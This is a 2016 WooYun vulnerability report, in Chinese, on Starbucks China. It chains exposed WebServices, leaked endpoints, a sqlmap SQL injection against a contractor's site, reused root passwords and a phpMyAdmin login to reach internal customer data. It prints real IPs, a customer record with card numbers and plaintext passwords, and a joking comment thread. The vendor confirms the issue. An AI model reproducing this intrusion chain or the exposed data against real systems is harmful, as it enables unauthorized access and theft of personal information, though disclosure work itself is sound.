当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0208769

漏洞标题:星巴克中国用户敏感信息遍历漏洞 (从不可能利用到可能)

相关厂商:星巴克

漏洞作者: 猪猪侠

提交时间:2016-05-16 14:49

修复时间:2016-06-30 17:20

公开时间:2016-06-30 17:20

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-16: 细节已通知厂商并且等待厂商处理中
2016-05-16: 厂商已经确认,细节仅向厂商公开
2016-05-26: 细节向核心白帽子及相关领域专家公开
2016-06-05: 细节向普通白帽子公开
2016-06-15: 细节向实习白帽子公开
2016-06-30: 细节向公众公开

简要描述:

星巴克中国用户敏感信息遍历漏洞 (从不可能利用到可能)
本报告通过多个漏洞的组合,进而突破限制,遍历任意用户信息。
信息包含用户的:用户名、邮箱、密码、家庭地址、手机号等等(PS:密码是明文的)
太标准的东西,墨守成规的东西,往往都容易被预测

详细说明:

#1 漏洞的起因
2014年报告了一个星巴克备份文件下载的漏洞,其中包含几项重要的信息
WooYun: 星巴克官网备份可下载导致敏感信息泄露(含操作系统Administrator密码)
两个部署在内网的WebService:

http://172.16.1.32:8002/StarbucksGCService.svc // 星巴克官网后台
http://172.16.1.32:8888/Service1.svc // 星巴克处理用户信息的接口


#2 漏洞发现
一直没空关注星巴克的系统,前天去买星冰粽,服务员叫我扫会员卡,手机APP提示我的二维码过期,也就是星巴克的系统进行了一次重大更新,就顺便看了一下;
新的服务器架构从 .NET 切换至 PHP,但是服务器却增多了
通过扫描 www.starbucks.com.cn 180.153.48.188 网段开放的WEB服务,一个默认页面的信息引起了我的注意。

http://180.153.48.178:803/


star1.jpg


这不就是上面提到的Service1.svc么?深入研究分析,得知这是一个.NET的WebService,里面存在几个关键方法

public string GetCustomer(long CustomerId, out MSR.Model.MSR_Customer oCustomer)
{
GetCustomerRequest inValue = new GetCustomerRequest();
inValue.CustomerId = CustomerId;
GetCustomerResponse retVal = ((IService1)(this)).GetCustomer(inValue);
oCustomer = retVal.oCustomer;
return retVal.GetCustomerResult;
}


根据客户的ID,获取完整的客户信息,返回的用户信息如下

star2.jpg


#3 WebService利用
可以直接用Visual Studio生成对应的 .NET cs 文件

svcutil.exe http://180.153.48.178:803/Service1.svc?wsdl

#4 利用,直接获取customerID 为 2 的用户信息(这里只是测试环境的数据,后面会介绍如何找到真实环境)

star_exp.jpg


#5 进一步挖掘
通过访问https://180.153.48.178的页面内容,发现这是今年3月份之前的网站版本

star4.png


其中有两处地方泄露了另外的WebService
https://180.153.48.178/js/hasjs.js

var domainMSRURL = 'https://staging.rewards.flipscript.com.cn/';
var domainSVCURL = "http://218.80.216.34:8010/";
var domianWebURL = "http://218.80.216.34:8012/";
//domainMSRURL = "http://localhost:49960/MSR/";


https://180.153.48.178/interface/MSR.ashx

// JavaScript Document 
var domainMSRURL = 'http://218.80.216.34:805/';
var domainSVCURL = "http://218.80.216.34:8010/";
var domianWebURL = "http://218.80.216.34:8012/";
//domainMSRURL = "http://localhost:49960/MSR/"; document.write('


#6 这个服务器上的某个.svc怎么那么眼熟呢?不就是开始提到的StarbucksGCService.svc吗?
至此,两个关键的WebService都找到了,还有星巴克的后台

star_gc_service.jpg


cms_gc1.jpg


cms_gc2.jpg


Service1.svc 有个 GetAdminList的方法,你懂的,查询出所有后台管理员的信息

public string GetAdminList(int nPageSize, int nPageIndex, out MSR.Model.MSR_Admin[] oAdminList, out int nCount)
{
GetAdminListRequest inValue = new GetAdminListRequest();
inValue.nPageSize = nPageSize;
inValue.nPageIndex = nPageIndex;
GetAdminListResponse retVal = ((IService1)(this)).GetAdminList(inValue);
oAdminList = retVal.oAdminList;
nCount = retVal.nCount;
return retVal.GetAdminListResult;
}


cms_admin.png

漏洞证明:

#7 以战养战,信息组合
整理一下发型,梳理一下所有信息,得到关键的因素
上面所有的信息, 都属于测试环境的,那么接下来就需要突破到真实环境了;
关键信息点:
从https://180.153.48.178的SSL证书,得知星巴克的系统是外包给flipscript公司开发的,
flipscript公司被DeepFocus公司收购了;

flipscript.jpg


#8 从flipscript & DeepFocus下手
开启神器,发现http://cn.deepfocus.net一枚注入漏洞

python sqlmap.py -u "https://cn.deepfocus.net/tasoap/tasoap.php?key=Fly&id=1" -p key --dbs


available databases [20]:                                                                                                                    
[*] bugtracker
[*] channelx
[*] deepfocus
[*] dftest
[*] dnsw
[*] fair
[*] ftpusers
[*] information_schema
[*] mac
[*] mmj
[*] mysql
[*] ra
[*] TADB
[*] test
[*] torres
[*] wordpress
[*] wx
[*] yioulai
[*] yioulaisz
[*] YOLDB


mysql是root权限,那就直接root服务器吧, ssh 登录

deepfocus.jpg


这台服务器里面有个bug.flipscript.net的Mantis管理工具,刚好证明了和星巴克有关联

mantis.jpg


发现了一处关键信息

/** WordPress数据库的名称 */
define('DB_NAME', 'wordpress');
/** MySQL数据库用户名 */
define('DB_USER', 'root');
/** MySQL数据库密码 */
define('DB_PASSWORD', '*****@05****');
/** MySQL主机 */
define('DB_HOST', 'localhost');


#9 峰回路转
整理好这些东西,咱们来到www.flipscript.com.cn,配置好神器,字典一挂,扫除了mssql对外开放,SA密码为:MYSQL数据库一样的密码;

flipscript_mssql.png


#10 有了这些信息之后,就能重新以新的角度来审视星巴克中国了
开启神器,发现一个phpmyadmin,用那个从DeepFocus得到的ROOT密码,直接root权限进入

http://cn.chinatimeline.starbucks.com.cn/phpmyadmin/


star_phpmyadmin.jpg


这里又刚好还有一个WordPress: http://chinatimeline.starbucks.com.cn/ ,整点东西证明我来过。
http://chinatimeline.starbucks.com.cn/?p=1

here.jpg


#11 通向内网的通行证

phpinfo.jpg


/etc/hosts

127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
172.18.0.187 ntp02.sbuxcf.com ntp02


/etc/rc.local

#!/bin/sh
#
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
touch /var/lock/subsys/local
sh /home/stadmin/ddnsupdate.sh


/etc/sysconfig/network-scripts/ifcfg-eth0

HWADDR=00:50:56:88:33:23
NAME=eth0
GATEWAY=172.16.1.1
DNS1=172.18.0.180
DOMAIN=172.18.0.180
DEVICE=eth0
ONBOOT=yes
USERCTL=no
BOOTPROTO=static
NETMASK=255.255.254.0
IPADDR=172.16.1.43
PEERDNS=no
check_link_down() {
return 1;
}


两个部署在内网的WebService,就在这个内网里面,不可能成为了可能

http://172.16.1.32:8002/StarbucksGCService.svc // 星巴克官网后台
http://172.16.1.32:8888/Service1.svc // 星巴克处理用户信息的接口


svcutil.exe http://172.16.1.32:8888/Service1.svc?wsdl


{u'Accept': 1,
u'Active': 1,
u'Address': u'ss,ssss',
u'AddressList': [],
u'Answer': u'',
u'AreaId': 6,
u'AreaName': u'\u897f\u5317',
u'Birthday': u'1989-02-26T00:00:00',
u'CityId': -1,
u'CityName': None,
u'CountryId': 1,
u'CountryName': u'\u4e2d\u56fd',
u'CreateTime': u'2014-05-27T11:06:00.183',
u'CustomerCardList': [{u'CardNo': u'6010581801781836',
u'CardPassword': u'15840030',
u'CreateTime': u'2014-05-23T15:07:55.707',
u'CustomerId': 148,
u'Defalut': 0,
u'Id': 148},
{u'CardNo': u'6010582556865337',
u'CardPassword': u'25535122',
u'CreateTime': u'2014-05-27T11:06:00.197',
u'CustomerId': 148,
u'Defalut': 0,
u'Id': 169}],
u'CustomerId': 148,
u'CustomerName': u't2556865337',
u'CustomerPassword': u'123456',
u'Email': u't2556865337@126.com',
u'FirstName': u'Ws',
u'HomeTel': u'',
u'LastName': u'Ws',
u'LastUpTime': u'2014-05-30T16:27:03.417',
u'Level': 2,
u'LoveDrink': u'',
u'LoveItem': u' ',
u'MMX_CustomerId': 3237670,
u'Mobile': u'11111111111',
u'MobileAcceptType': 0,
u'NewsCustomerName': None,
u'News_CustomerPassword': None,
u'OtherAcceptType': 0,
u'Points': 39,
u'PostCode': u'222222',
u'ProvinceId': 31,
u'ProvinceName': u'\u65b0\u7586\u7ef4\u543e\u5c14\u81ea\u6cbb\u533a',
u'Question': 0,
u'Registered': False,
u'Sex': 0,
u'Type': 0,
u'Version': 0,
u'WhyLove': None}

修复方案:

#1 安全是一个整体,保证安全不在于强大的地方有多强大,而在于真正薄弱的地方在哪里
#2 一个一个的漏洞来补丁
#3 太标准的东西,都容易被预测

版权声明:转载请注明来源 猪猪侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-05-16 17:16

厂商回复:

非常感谢您的报告,问题已着手处理。感谢大家对星巴克安全的关注,您也可以直接联系我们的技术团队反馈任何安全问题,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-05-14 23:07 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:5382 漏洞数:416 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    好久没有折腾这么长的漏洞了

  2. 2016-05-14 23:10 | 我叫肥羊 ( 路人 | Rank:27 漏洞数:11 | PHP是最好的语言。。。。。)

    围观

  3. 2016-05-14 23:10 | Submit ( 普通白帽子 | Rank:565 漏洞数:132 | )

    星巴克是可以吃的

  4. 2016-05-14 23:11 | 孤狼 ( 路人 | Rank:6 漏洞数:3 | 小白一个,多多学习大老们的技术!!!)

    没去吃过

  5. 2016-05-14 23:32 | 小龙 ( 普通白帽子 | Rank:2794 漏洞数:549 | 我就问,还有谁!!!!!!!!!!!!!...)

    猪猪侠牛逼!

  6. 2016-05-14 23:34 | 药尘 ( 路人 | Rank:22 漏洞数:11 | 对不起,本人受《中国人名共和国未成年人保...)

    膜拜 猪猪侠~

  7. 2016-05-14 23:38 | 涵 舐 渊 ( 路人 | Rank:4 漏洞数:1 | 努力进入安全领域)

    哦 的向前辈学习学习 ,昨晚还看了您的微博 关于星巴克的漏洞呢 。哈哈

  8. 2016-05-14 23:41 | Tren ( 普通白帽子 | Rank:211 漏洞数:79 | 怎么才能挖到洞,我说 主要看气质!)

    猪猪侠牛逼!

  9. 2016-05-15 08:50 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    听上去就牛逼

  10. 2016-05-15 09:03 | Agony ( 路人 | Rank:24 漏洞数:12 | you know a cat has nine lives.)

    围观

  11. 2016-05-15 09:12 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    围观猪猪侠

  12. 2016-05-15 09:14 | ( 普通白帽子 | Rank:105 漏洞数:37 | 凡人皆有一死)

    值得一看~

  13. 2016-05-15 10:18 | webhe4d ( 普通白帽子 | Rank:143 漏洞数:48 )

    灵感来自猪哥每天的大杯美式 :)

  14. 2016-05-15 10:28 | Brother ( 实习白帽子 | Rank:78 漏洞数:24 )

    我猜到了,喝一口,然后把其余倒在电脑机主上,- -渗透了。

  15. 2016-05-15 11:31 | Dracul ( 路人 | Rank:17 漏洞数:9 | ⊙_⊙)

    学习,听起来很牛B

  16. 2016-05-15 11:39 | qhwlpg ( 普通白帽子 | Rank:260 漏洞数:64 | http://sec.tuniu.com)

    雷了?!

  17. 2016-05-15 13:43 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    星巴克看洞

  18. 2016-05-15 13:55 | 啊L川 认证白帽子 ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ,菜渣, 菜呀!)

    吊炸天

  19. 2016-05-15 14:31 | 小牛牛 ( 普通白帽子 | Rank:139 漏洞数:17 | 求带)

    我了个草。吊炸天啊。。真想看过程

  20. 2016-05-15 14:33 | phith0n 认证白帽子 ( 普通白帽子 | Rank:834 漏洞数:127 | 一个想当文人的黑客~)

    经常喝星巴克还能挖漏洞。

  21. 2016-05-16 09:32 | 路人毛 ( 普通白帽子 | Rank:157 漏洞数:64 | 要想Rank给高,标题一定得屌)

    猪哥走到哪日到哪

  22. 2016-05-16 10:19 | luwikes ( 普通白帽子 | Rank:552 漏洞数:83 | 潜心学习~~~)

    密码是明文的。。。大胆预测是个人页面返回时泄露太多

  23. 2016-05-16 11:31 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  24. 2016-05-16 14:51 | 小川 认证白帽子 ( 核心白帽子 | Rank:1659 漏洞数:245 | 一个致力要将乌云变成搞笑论坛的男人)

    星巴克是什么?好吃吗?

  25. 2016-05-16 14:51 | 不能忍 ( 普通白帽子 | Rank:181 漏洞数:63 | 要是能重来,我要选李白!)

    刚买了一杯。

  26. 2016-05-16 14:58 | ckaexn ( 实习白帽子 | Rank:88 漏洞数:9 | ~)

    感觉是厂商来认领了

  27. 2016-05-16 15:01 | 小龙 ( 普通白帽子 | Rank:2794 漏洞数:549 | 我就问,还有谁!!!!!!!!!!!!!...)

    厂商来了,哈哈,吓尿了吧

  28. 2016-05-16 15:01 | Fnut ( 普通白帽子 | Rank:112 漏洞数:28 | 大王叫我来巡山,巡完南山巡北山)

    @ckaexn 没错

  29. 2016-05-16 15:17 | 盛大网络(乌云厂商)

    猪哥消息蛮灵通啊

  30. 2016-05-16 16:12 | imp0rt ( 普通白帽子 | Rank:117 漏洞数:54 | 。)

    前几天才喝了一杯,然而旧病复发。

  31. 2016-05-16 18:11 | dr.m1st3r ( 实习白帽子 | Rank:54 漏洞数:10 | 一个爱泡妞的好骚年。)

    喝过咖啡把洞挖-_-#

  32. 2016-05-16 19:29 | 放逐 ( 路人 | Rank:2 漏洞数:1 | 白帽子放逐Gg?得失乐与悲与Av Qq205655539)

    前几天才喝了一杯,然而旧病复发。

  33. 2016-05-16 20:49 | Q1NG ( 普通白帽子 | Rank:148 漏洞数:27 | 临 兵 斗 者 皆 阵 列 前 行 !)

    吓得我都想起来了,我从来都还没去过星巴克

  34. 2016-05-16 23:06 | 小逗逼 ( 路人 | Rank:5 漏洞数:3 | rt)

    经常喝星巴克还能挖漏洞

  35. 2016-05-25 14:58 | Explo1t ( 路人 | Rank:16 漏洞数:9 | 流生若川,不要小看人生啊!)

    牛逼 膜拜

  36. 2016-05-25 23:07 | 秦风 ( 实习白帽子 | Rank:40 漏洞数:10 | 血染江山的画 怎敌妳眉间一点朱砂 覆...)

    路过 膜拜

  37. 2016-06-05 18:56 | Martial ( 普通白帽子 | Rank:2639 漏洞数:370 | 竟然还有人冒充我,醉了,骗子QQ445697541...)

    提醒:级别足够但是无法查看 Rank 高于自己的白帽子漏洞 ( 可以等待进一步公开或者支付 10 个乌云币提前查看 确定支付并查看 )

  38. 2016-06-08 10:34 | scanf ( 核心白帽子 | Rank:1702 漏洞数:241 | 。)

    @猪猪侠 猪哥不太懂WebService调用那部分 有学习的东西吗?

  39. 2016-06-12 09:28 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:5382 漏洞数:416 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    @scanf SOAP,支持XML格式的API